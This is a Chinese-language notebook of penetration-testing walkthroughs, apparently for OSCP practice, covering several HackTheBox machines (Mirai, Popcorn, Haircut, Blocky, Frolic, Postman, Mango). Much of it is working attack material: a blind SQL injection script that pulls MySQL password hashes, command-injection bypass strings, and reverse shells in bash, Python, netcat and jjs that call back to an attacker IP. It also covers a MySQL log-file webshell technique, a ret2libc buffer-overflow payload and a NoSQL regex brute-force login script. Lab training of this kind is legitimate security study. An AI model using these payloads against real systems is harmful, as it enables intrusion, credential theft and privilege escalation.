 url = f"http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+"
 print(url)
 response = requests.get(url=url, headers=headers)
 print(response.status_code)
 print(len(response.text))
 if response.status_code == 200 and len(response.text) > 6200:
 print(temp, end='', flush=True)
 break

写了个脚本

2.txt 包含这些大写字母（A-Z）（a-z）（0-9）（_，-）

3.txt包含可能的密码首字母一定是*没用后面的都是字符放个字符字典就行

如果获取帐号用的是 select user() 后面会有@localhost

解密

成功进来了

版本4.8.0 找对应的exp就行

50457貌似可以

能进后台phpmyadmin的洞还是很多的成功执行命令

弹上来了

开始提权我的思路是将重点不再放到这个站点上了因为当前用户的账密都有了完全没东西也没必要去看配置文件了

pepper目录下有个log，记录了我们的攻击

看一眼常规提权还是有东西的

思路就是这个了去看看

先传pspy32在另一个窗口监控进程再来看这个主要看看意外收获做完这个之后再去看进程有些来不及

发现几个有意思的东西

但我们还是先监控着先去看刚刚那个文件

找到了关键点

第一个参数给-p

再去看刚刚那个函数它对输入内容进行了筛选不让输入带拼接的东西我没有想到绕过的方法

根据之前做过的靶场我这次想到了直接去google 用英文表达

https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass

然后找到了一个有用的文章

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

127.0.0.1$(cat /home/pepper/user.txt >/tmp/2)

10.10.66.66$(cat /home/pepper/user.txt)

拼接测试看看

两个都可以一个是直接写入文件一个让他报错然后输出

成功读取准备提权

这里我试了很多最后想到了一个好方法他不允许带- 但是所有的弹shell的方法都要- 并且su切换也不行要密码的

直接将弹shell的代码写入 echo “bash -c ’exec bash -i >& /dev/tcp/10.10.16.13/6661’” > /tmp/1.sh

然后拼接命令的时候直接调用

10.10.66.66$(sh /tmp/1.sh)

成功弹回shell 但还遇到一个问题就是这个新shell 是靠老的来维持的老的一断开或咋样这个新的完全没任何效果只能说是写的弹shell的脚本有问题

换一个python脚本就好了

1

'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

写到/tmp/2.py里运行就弹回来了

常规提权貌似不行了

回看pspy32 没有看到什么计划任务只有两个/root下面运行的文件但是我没有任何查看的权限

直接传脚本去扫

以上是获取到的信息很明显最后一个提权就在这

我找到了方法但是有点难用这一篇写的不错最后成功提权了

https://www.cnblogs.com/zlgxzswjy/p/14781471.html

至此就结束了这一篇学的东西还是挺多的但是没有跟之前一样卡住每一步都能解决

开始翻wp

这一步使用联合注入用的是写shell那个方法

其他思路没有太大问题

13.Mirai

信息收集:

22没东西

53没有域名解析不了

80有一个admin还有一个version 还有一段话

剔除长度61接着目录爆破就行

没有找到能利用的漏洞能利用的都是需要登陆进去拿到session的一般爆破一边找默认口令把

version也没东西默认口令用户名：pi 密码：raspberry

先放着接着往后走

完全没东西目前的思路就只有ssh还有那个plex 但是plex访问不了先爆目录看看吧

直接上来了

离谱

果然没那么简单

后续研究了一下这个按照我的思路开始测试因为从来没了解过这东西

按照我错误的方式我操作了很久完全不行

后续只能看到wp了解到一个关键的地方

首先 df -h mount lsblk

这三个命令都能看到被挂载的是哪个设备根据这个人的解释来说挂载之后我给他删了不代表原始设备上也被删了

只有这一篇文章解释得很清楚

https://0xdf.gitlab.io/2022/05/18/htb-mirai.html

就是说删除操作没有彻底清除只是将文件系统的目录结构删了当有新数据写入的时候会进行覆盖(貌似所有硬盘都是这个逻辑)

cat grep strings都可以因为他们都可以看到这个文件的数据

没问题

grep -aPo ‘[a-zA-Z0-9]{32}’ /dev/sdb

只能说学到了

到此结束这一个扩展了新知识跟之前的思路只能说很多不一样学到了新东西

14.Popcorn

信息收集：

22端口需要私钥

80端口有些东西

这个原来是test.php 目录爆破可以出来我测试给他改了

注册就能进入这个页面可以上传文件而且貌似不限制文件后缀唯一不清楚的就是上传的文件到哪去了

找到个nday 但是根据他的描述文件应该在torrents目录下但他实际上并不在

这里我想到个好点子

http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&newfilename=../torrent/torrents.txt

把这个改成txt下载下来代码审计

成功了

最后我读了发现的几个php文件

torrents.php

upload.php

config.php

直接说结论吧读完之后发现他的命名方式是取出当前torrent文件的sha1值然后拼接.btf 合成的文件名称

并且文件存在于http://popcorn.htb/torrent/torrents/

故此之前自带的kali镜像文件路径为http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf

而在读代码的过程中遇到了一个没接触过的东西就是torrent文件的sha1 在php里是

是这样的取出来的而根据后续的代码

一切就显而易见了直接上传一个sha1值和之前不一样的东西随便百度下一个就行然后上传并在里面加上php代码通过rename该名称就能getshell

随便取名就行然后传上去

这里也是拿到了再去下载找一下hash值

完全没有任何问题我们直接把他的名称改了

直接访问

报错了但是至少他是能解析的问题出现在我这重新搞一次

换了个文件就好了

开始提权

config.php里的其实已经读出来过了在记录一下

/var/www/torrent/database 这里有个 th_database.sql文件我们传到本地看看

没其他东西了

admin/admin12

torrent/SuperSecret!!

sudo不行

家目录有torrenthoster.zip源码

还是传脚本扫一下把

开始挨个看

mysqld_safe不在定时任务里也没有suid

第二个提示我们执行sudo不需要密码但是我运行的时候一直要求要密码

第三个没权限

pspy32并没有其他进程来运行

基本都看完了没有任何方面能够利用目前还剩一个 george目录下的 torrenthoster.zip没看

下载过来看了也是啥都没有

目前已经卡死了只知道他说sudo是不需要密码的但是我用的时候却需要密码

只能searchsploit了搜了几个脚本挨个传上去扫

其他的都运行不了但是这个貌似有点意思啥都有只是告诉了我们密码错误而已读一下代码

读完之后发现就是字面意思输入toor就行

成功提权完成这一个靶场也是难度适中扩展了思路把

结束了去看wp

https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff

提权方式不一样

看了下这个脚本只能说我的搜索方式还有问题不要老吧ubuntu加上去搜搜内核还有其他收获

而且我才想起来这个是脏牛提权最经典的一种

而我刚刚那个exp 他们是根据.cache/motd.legal-displayed这个找exp的而我是直接搜ubuntu版本来找的

思路没有完善只是运气好其他就没什么差别了到此就结束了

15.Haircut

信息收集:

还是只提重点有三个网站还有个uploads

三个网站三张图其他啥都没有图片全都看了一眼啥都没有

uploads403

exposed.php 有个命令注入非常明显因为之前的靶场打过一次

还是$命令注入它禁了很多但是netcat没禁尝试回连有回显开始构造payload反弹shell

[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)

可以直接弹

只感觉到打靶场越来越得心应手了

开始提权信息收集

先生成个tty把 python3 -c ‘import pty; pty.spawn("/bin/bash")’

maria目录的user.txt 和 Desktop的user.txt不一样

0b0da2af50e9ab7c81a6ec2c562afeae

152294df041b51863cc9c7b5a52938f2 #这个提交与hackthebox是没问题的

启动LinEnum扫一下出了内核版本找到了一个exp

结束了这个靶场还是常规的甚至只花了50分钟就搞完了

但还是要看看wp学思路他们在suid上找到了Screen 4.5.0 然后通过搜索这个的exp完成提权

外网打点的思路就是访问自己开的http服务然后-o输出到php文件里基本上没有搜到和我一样的思路的

其实Screen 4.5.0这个有点意思可以尝试一下

如果没有刚刚那个提权这个文件也会引起我的注意因为正常系统自带的没有这玩意而且他还带个版本

payload

报错也只是少文件

报错了还是读代码把

不难理解自行编译再丢到靶机上试试

警告并没有报错

也是警告没报错 -static 加参数主要是有些gcc版本不一样其他系统可能会报错才加的

传到靶机挨个执行命令看看

~~果然还是报错了~~ 分析了下代码主要是就是libhax不知道是啥漏洞(底层的还是有点研究不来) 能给将rootshell改成root所有并给予755权限所以我们一执行rootshell就变成root权限了

~~那现在看来问题一直出现在这个libhax上研究一下~~

实际上没有问题我名字取错了 libhax.so 我取成了 libhex.so 改了之后就能正常运行了

按照命令执行走成功获得root权限

至此全部结束

16.Blocky

信息收集:

还是直接说结论

21端口没有漏洞 1.3.5有exp 但是他是未经授权就能进行文件移动但是我打了三个exp 并且手测读代码才发现这里根本没有漏洞

22端口没有任何信息

80是一个wordpress 我对wordpress测了很久但是没用里面有个phpmyadmin 4.5.4.1版本的没有相关漏洞

wordpress有两个用户(但这不重要)

其他就没东西了

剩下的就是对目录进行爆破果然有东西 minecraft就是java编译的找到两个jar文件

直接逆向我本来以为要java代码审计结果不用

有了这个可以登录phpmyadmin了

后台RCE的地方就很多了

写文件被ban了

1
2
3


show variables like '%general%';	--查看配置，日志是否开启，和mysql默认log地址(记下原地址方便恢复)
set global general_log = on;		--开启日志监测，默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php';		--设置日志路径

这个还是能写的但是绝对路径一直不对后续就是一直找绝对路径浪费了我很多时间

后面没办法了突然就想通了既然phpmyadmin写不了shell wordpress的后台其实也能找找绝对路径或者直接后台getshell就行

第一个改成md5 第二个写密码

它会自动给你生产加盐密码我这里的密码是password生成的

$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1

直接能利用 Notch/password 登录

模板可以直接改拼接url直接反弹了个shell

http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php

上来了也是第一时间看了下绝对路径我一开始填的路径就是这个但是为什么sql写不进去呢？

一目了然了网站目录没给其他用户写入权限所以写不进去是正常的

开始提权信息收集

这里有个notch用户我把它数据库里的密码删了如果他的那个密码撞出来了是不是这里就能su

一切都不确定挨个看吧目前sudo是用不了了要密码

这个内核很眼熟直接传脚本吧

结束一路上都是常规渗透没有意料之外的服务或者啥的

但是误区可能有点多导致浪费很多时间只能说该提快速度了

17.Frolic

信息收集:

smb没有东西

1880端口

没有东西目录爆破也不行提示401 然后密码猜对了应该 admin/password 请求/auth/token接口

直接请求无返回

改了之后提示401 node-red 没有找到其他东西了这是目录爆破结果

9999端口

/admin做的是前端验证

登陆成功是这玩意

/test 是phpinfo

http://10.10.10.111:9999/backup/

这个下面有三个文件 user.txt password.txt /loop目录

user/password的密码为 admin/imnothuman

没找到用处

其他的/loop /dev 都是403

还有个UDP的137端口搜了一下找了个poc 没作用

对两个403的目录进行爆破因为我没写递归

找到个目录访问成功了但是我之前获得的密码都登陆不上去

很多exp 估计这就是真正的入口点了但是目前我并不清楚他的版本要不然全打一遍要不然找找版本

特意去github找了个版本看看

每个目录下的index.html全部为空找不到版本号

那就直接打exp把根据教程 https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=register

这里可以注册

被ban了但至少目前掌握了目录结构但是总不能让我挖漏洞吧应该还是利用nday

倒序挨个说结论吧

48199.txt 要登陆而且还是msf代码

42038.txt 要登陆普通权限用户就行但是我们试过了无法注册

44599.rb msf脚本直接跳过

42044.txt 要登陆普通用户就行也提示了可以注册但是我们无法注册

42003.txt 也要普通用户登录

17792.txt 他给的路径在站点上找不到我的源码目录结构里也没有那个文件基本确定了目标站点版本比17792.txt这个站点高也就是比 0.9.9.2高

目前自带的exp根本打不了

google以及找找默认口令

找了几个poc打不进去默认口令admin:admin进不去

其实到这一步我怀疑他就是一个没问题的跟之前那些一样没有一点用

最后我只找到这个目录

其实还有ssh没有试再去试试实际上ssh也不行

同样这三个密码我都在samba上试了但是都不行并且里面没有其他目录可以连

目录爆破给了我其他结果 loop貌似有很多级我开始一直往后加loop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


import requests

headers = {
 'Host': '10.10.10.111:9999',
 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
 'Accept-Language': 'en-US,en;q=0.5',
 'Accept-Encoding': 'gzip, deflate',
 'Connection': 'close',
 'Cookie': 'PHPSESSID=gqpklpimfs5kh12tddv3gjgs06',
 'Upgrade-Insecure-Requests': '1'
}

i = 1
url = "http://10.10.10.111:9999/loop"
response = requests.get(url=url,headers=headers)
while response.status_code == 403:
 url += "/loop"
 response = requests.get(url=url, headers=headers)
 i += 1
 print(i,response.status_code,url)

print(response.status_code)
print(response.text)
print(url)

第42个终于出结果了虽然回包是404 但是可以继续爆破

loop最后的一个目录接着爆破我突然还有个思路这么多网页它的源码还有js文件里肯定会藏东西那就接着翻吧

这个接口还有个csrftoken 可以爆破但是还得写脚本

最下面有个提示

马来语

全翻了一遍就只有上面有藏起来的东西

目前我是能探索的都探索了一遍除了一开始的succes.html那些看不懂的加密内容

我现在能百分百确认了那个是必须要看的开始google

我把下面这些全丢到google 出了一个结果

….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. ….. ….. ….. ….. ..!.? ….. ….. .!?!! .?… ….. ..?.? !.?.. ….. ….. ….! ….. ….. .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ….. ….. .!.!! !!!!! !!!!! !!!.? ….. ….. ….. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… ….. ….. ….! ?!!.? ….. ….. ….. .?.?! .?… ….. ….. …!. !!!!! !!.?. ….. .!?!! .?… …?. ?!.?. ….. ..!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?…. ….. ….. …!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. !…. ….. ..!.! !!!!! !.!!! !!… ….. ….. ….! .?… ….. ….. ….! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ….. .?.?! .?… ….. ….! .?… ….. ….. ..!?! !.?.. ….. ….. ..?.? !.?.. !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ….. …!. ?…. ….. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !…. ….. ….. ….. !.!.? ….. ….. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ….. ….! ?!!.? ….. ….. ?.?!. ?…. ….. ….. ..!.. ….. ….. .!.?. ….. …!? !!.?! !!!!! !!?.? !.?!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ….. …!? !!.?. ….. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. ….. ….. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ….. ..!.! !!!!! !.?.

1

Nothing here check /asdiSIAJJ0QWE9JAS

找到了

一个zip文件因为普通文件他的开头不可能是PK 而所有的zip文件他的开头都是PK

我将获得的密码都丢了进去

最终密码是password

解出来是这个

+++++ +++++ [->++ +++++ +++<] >++++ +.— –.++ +++++ .<+

++ [->++ +<]>+

++.<+ ++[-> —<] >—- –.– —– .<+++

+[->+ +++<] >+++. <+++[ ->—

<]>– .<+++ [->++ +<]>+ .–

-. <+++[ ->— <]>– —-. <++++ [->++ ++<]>

++..<

这回学聪明了直接丢google

默认账号admin 成功进来了

https://www.exploit-db.com/exploits/42044

42044的一键脚本

https://github.com/jasperla/CVE-2017-9101

可以直接getshell

开始提权

数据库root权限

44298.c完全匹配直接传上去

报错靶机是32位的改成32位编译就行

gcc 44298.c -m32 -static -o 44298

好吧即使是32位的还是报错

试了几次这个exp确定是打不了的

写的是< 就是不行

/home/sahay/.node-red 这个目录有settings.js 密码解出来就是password

sahay启动的node-red 也就是直接拿下node-red 就是sahay权限再继续看看

挨个看一下这些文件都没有东西我只能再去家目录找了

看到个有意思的上面有两个公钥但是进行连接的话我这里应该找私钥才对公钥对我而言完全没用

两个文件是一样的

接着翻家目录发现

有s权限

二进制elf文件简单运行一下提示这个

他会重复你的说的话这里肯定需要逆向但是让我读一些C/C++代码还没问题逆向的汇编我还真没学

————————————————-这里了解到要用到缓冲区溢出的技术我目前只测出来

他最多能承担 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 也就是49个字符

目前这一处先空下吧等后面学会了缓冲区溢出会再来打的

现在是这个靶场的第二天 oscp考的缓冲区溢出貌似比较基础我也是学了一天基础部分了解了

重新找到那个rop程序开始分析

第一个setuid push了一个0 也就是root的权限

第二处调用了vuln函数传了一个eax参数最终赋给了vuln

这些其实都不用管咱们主要是找eip

直接传参

用52个英文字母来识别当然可以更多字符只要不一样就行

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

52个字符报错了但是实际上他的指向是0x08048400 deregister_tm_clones这个函数

当我们在52个字符后面加4个字符填充的时候会出现这些

我加了4个1 他出现了1的ascii16进制说明我们找到了eip在哪

接下来找靶机动态链接库

记录地址 0xb7e19000

这里我们要找两个函数 system和exit 执行系统命令以及退出进程

还有一个字符串 /bin/sh 的地址

ww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"

</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"

1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"

</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"

141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0

www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”

</.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”

15ba0b /bin/sh

找到了偏移量直接计算器相加就行

0xB7E53DA0

0xB7E479D0

0xB7F74A0B

86架构是小端序所以我们还要字节倒序

\xa0\x3d\xe5\xb7

\xd0\x79\xe4\xb7

\x0b\x4a\xf7\xb7

写成16进制能识别的样子拼接payload

./rop $(echo -e “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\xa0\x3d\xe5\xb7\xd0\x79\xe4\xb7\x0b\x4a\xf7\xb7”)

执行就结束了因为这一个靶场学会一些简单的缓冲区溢出还是挺有作用的不过要深入的话还是有点困难后续还会找一些缓冲区溢出的靶场可以学习下

18.Postman

还是说结果

22访问没提示信息

80获取到域名 postman.htb 然后没东西了开始目录爆破

6379 我着重关注redis 有未授权访问 4.0.9版本写shell不行没权限写定时任务不行没权限写公钥不行没权限

也就是写文件很多目录都没权限公钥我可以试试写在家目录但是我并不知道有哪些用户这个可以待定

还有个主从复制也无法利用

10000 MiniServ 1.910 (Webmin httpd) 这个版本kali search没找到但是google上有而且版本完全匹配

前提是要有密码

目前得出的结论是 22没漏洞 6379可以写文件但是无法写getshell的东西其他文件写没问题

80和10000重点关注 udp的10000我去搜了是一个

NDMP(网络数据管理协议)是一个专门为NAS设备的数据备份系统设计的协议

但是ndmp的都是tcp的10000协议而不是udp的这个可以留意

目前先爆破80以及10000 最重点的是找10000的密码打exp

发现一个有意思的东西不带http访问的时候报错而访问https的时候会卡一下我刚开始以为是重定向卡的现在看貌似是因为backup这个文件卡的

这个地方会随着域名的请求改变而改变在我看来这里肯定有个利用点但是我并没有太多思路

udp的10000是可以连的

我尝试去找关于这个服务的连接软件进行连接

但是我搜了很久没有搜到好像这个是netapp的转身程序我完全获取不到 nc连接也没有任何东西供我使用

原来刚刚是误报实则这个还是webmin

没有办法目前最明显的就是10000的框架了再去搜搜poc 依然没效果

重复看回去吧 6379我感觉还是有点像误区但是为了严谨还是搜了一下版本漏洞发现了一个新的版本一样的漏洞

https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa

他这个脚本跑不了有点麻烦不过读代码还是挺简单的

其实就这样就行

连上去了

开始提权信息收集重点还是挺好找的因为有LinEnum.sh

上面一看就有加密直接丢john跑就行

连接直接被关闭

我想到了在靶机上连本地都不行

非常奇怪我只能看一下ssh的配置文件

不让登录

实际上他的密钥密码就是他的账户密码成功切换

开始接着提权发现了几个有意思的文件

这个竟然是以root的权限启动的也就是说我们没有他的密码没进去但是如果找到它的密码就能打exp 获取的权限就是root权限现在大概率只差密码了因为我翻了很多文件尝试了很多基本没有提权点了

那个目录大部分我们无法读写个find看一下吧

读完啥都没有只能google看看这个密码文件放哪了

/etc/webmin/miniserv.users

但是这个访问不到

/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456

这个命令可以改但也提示我没权限

搜的时候发现了个这个我们目前有Matt的密码登陆一下看看

还真上去了遇到登陆成功的账号密码去其他服务上撞库

第一时间没发现导致我浪费了很多时间

https://github.com/roughiz/Webmin-1.910-Exploit-Script

代码要改一下我没有termcolor这个包而且这个包也无关紧要

结束这里盲目自信了redis 一开始没跟着固定版本4.0.9去打exp 其次是很多都看到了但是最关键的撞库没去做

其他都还好

19.Mango

信息收集：

只有一个页面22端口没东西 80端口403 443https是这个没有找到藏着的东西

这个页面没搜到任何结果不知道那个接口是咋回事

nmap没有给我这个框架的信息 whatweb的指纹也没有

但是他的标题 mango search base 可以看看这个是不是框架

版本都不一样找几个试试吧

开始试的时候发现目录爆破给了我个结果

39w个字节这个在主页是存在的但当时我看里面没东西就没管这是做的有问题的地方

算是一个失误了但凡目录爆破字典没这个就会浪费很多时间再看看

很多js调用失败了他们都是远程调用的

这里面有很多data但是无法调用所以显示空分析js我喜欢在chrome上 firefox太难用了

访问之后发现这里的js竟然没问题？明明都是同一个请求

开始看看当前页面有没有什么接口看了半天这玩意就是纯js实现的或者我没找到接口

但是index.php发现一个东西只要在index.php后面加参数返回都是这样没啥用

但是实际上他的ssl证书还有东西

果然外层没东西但是这个有开始爆破

后来试了半天没有任何东西只能看wp看下一步它提示说 mongo 实际上代表它后端的数据库用的MongoDB 而我们要利用nosql注入遇到明显的图片域名等等提示记得google找对应的漏洞看看有没有

其实我搜的时候搜 mongo 一直出的是mongodb我以为没有联系结果还有个nosql 算是学到了

知道入口点就开始测试

https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6

可以进去但是他这显示不能访问看看能不能写shell 貌似不能写文件

目前登录也不行只有一个思路了既然存在注入我们就需要获取他的密码然后撞库跟上一个靶场很像

但是oscp几乎不允许使用自动化渗透脚本一键的nosql注入工具貌似不被允许这里只能从0学习nosql语法

花了1个多小时简单速成了一下目标点在这里

https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2

依靠这个函数 [$regex] 这函数可以与substr差不多相同的功能

用法在这看起来一目了然我们只需要找一个字符表

字符表在这 string.printable 将里面的那个字符表里面的字符去掉就行然后挨个遍历登陆成功回包302

基本上全靠这篇文章但是这个还是有缺点就是用户名我们是找不到的默认admin 但我不认为他只有这一个用户

我们先爆出admin的密码再说吧

admin的密码是有12为 payload

username=admin&password[$regex]=.{§1§}&login=login

后续接着学习mongodb语句 nosql注入语句发现了一个关键点

username[$regex]=^a.*&password[$ne]=1&login=login

上面是payload 在那个网址里面介绍了爆破password的语句实际上username也是一样的

自行拼接语句 username[$regex]=^a.* 就是正则表达式匹配开头为a的用户名在的话就会有返回相当于以前遇到的 a* 那种遍历漏洞 a* ad* adm* admi* 这种类似

靠这个就能爆破出用户名但是还有个前提就是用户名是对的但是对应账户的密码我们是没有的所以加上之前的万能密码 password[$ne]=1 就能构造poc

poc逻辑：先爆破用户名，遍历一次所有字符，比如a存在的话，就单独压入字典，然后爆破后面的字符，出现不一样的压入一次，第二次遍历(例如a)+所有字符，如果出现不一样的接着压入，如果第n次遍历所有字符没有任何返回值，就代表用户名已全部爆出完毕，而302就是判断登陆成功的标准。

爆破密码处可以复用上述代码，逻辑上没区别。

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110


import requests
import string

url = "http://staging-order.mango.htb/"

headers = {
 'Host': 'staging-order.mango.htb',
 'Content-Length': '49',
 'Cache-Control': 'max-age=0',
 'Upgrade-Insecure-Requests': '1',
 'Origin': 'http://staging-order.mango.htb',
 'Content-Type': 'application/x-www-form-urlencoded',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36',
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Referer': 'http://staging-order.mango.htb/',
 'Accept-Encoding': 'gzip, deflate',
 'Accept-Language': 'en-US,en;q=0.9',
 'Cookie': 'PHPSESSID=qspndr7i6msn9e8eamalqjadh7',
 'Connection': 'close'
}

# data = 'username[$regex]=^a.*&password[$ne]=1&login=login'
#
# print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code)

list_username = []
flag = True

# #用户名
# while True:
# if list_username != [] and len(list_username) >= 1 and flag:
# flag = False
# # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
# for i in range(0, len(list_username)):
# for c in string.printable:
# if c not in ['*', '+', '.', '?', '|', '#', '&', '$', '\\','^']:
# post_data_1 = f"username[$regex]=^{list_username[i]+c}.*&password[$ne]=1&login=login"
# response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
# print(post_data_1)
# print(c, response.status_code)
# if response.status_code == 302:
# list_username[i] = list_username[i]+c
# flag = True
#
# print(list_username)
#
# elif flag == False:
# print("result:",list_username)
# break
# # exit()
#
#
# else:
# for c in string.printable:
# if c not in ['*', '+', '.', '?', '|', '#', '&', '$', '\\','^']:
# post_data_1 = f"username[$regex]=^{c}.*&password[$ne]=1&login=login"
# # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
# response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False)
# print(post_data_1)
# print(c,response.status_code)
# if response.status_code == 302:
# list_username.append(c)
#
# print(list_username)

print_list = []
#两个没冲突 打开注释一样可以继续跑
list_username = ['admin', 'mango'] #填入username或者和上面联动把这一行注释了
#密码
for user in list_username:
 flag = True
 list_password = ''
 while True:
 if list_password != [] and len(list_password) >= 1 and flag:
 flag = False
 # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
 for c in string.printable:
 if c not in ["*", "+", ".", "?", "|", "\\", "\b", "&","$"]:
 post_data_1 = f"username={user}&password[$regex]=^{list_password + c}.*&login=login"
 response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
 print(post_data_1)
 print(c, response.status_code)
 if response.status_code == 302:
 list_password += c
 flag = True
 break

 print(list_password)

 elif flag == False:
 print("result:", list_password)
 print_list.append(list_password)
 break
 # exit()

 else:
 for c in string.printable:
 if c not in ["*", "+", ".", "?", "|", "\\", "\b", "&","$"]:
 post_data_1 = f"username={user}&password[$regex]=^{c}.*&login=login"
 # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
 response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
 print(post_data_1)
 print(c, response.status_code)
 if response.status_code == 302:
 list_password += c
 break

 print(list_password)

print(print_list)

确实有点慢没想过多线程那些脚本应该还需要优化但是不用在意那些细节

username

没加去重但是密码出来了跟我测的位数一样手测的位数16位

mango撞库成功登陆上了ssh

开始提权

大概率是越权到admin然后运行这个提权root

脚本也给了提示但是我们不是admin

su配合之前的密码就上来了大概率是sshconfig禁了

非常经典的反弹shell的脚本开ProcessBuilder线程 Socket回连定义输入流死循环用于发送返回命令

问题是jjs我也没用过 google一下看一下如何利用

实际上我了解到的他是可以直接执行java代码的

Java.type(‘java.lang.Runtime’).getRuntime().exec(’/bin/sh -i >& /dev/tcp/10.10.16.13/9999 0>&1’)

进程开出来了但是提示没有输入并且我这没有收到shell 下面都是它自带的改了参数这几个都是我自行测试的但是他就是反弹不回来shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -i >& /dev/tcp/10.10.16.13/9999')

var host= "10.10.16.13";
var port= "9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();

var Socket = Java.type("java.net.Socket");
var s=new Socket("10.10.16.13","9999");
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

还真有关于jjs的提权修改payload

1

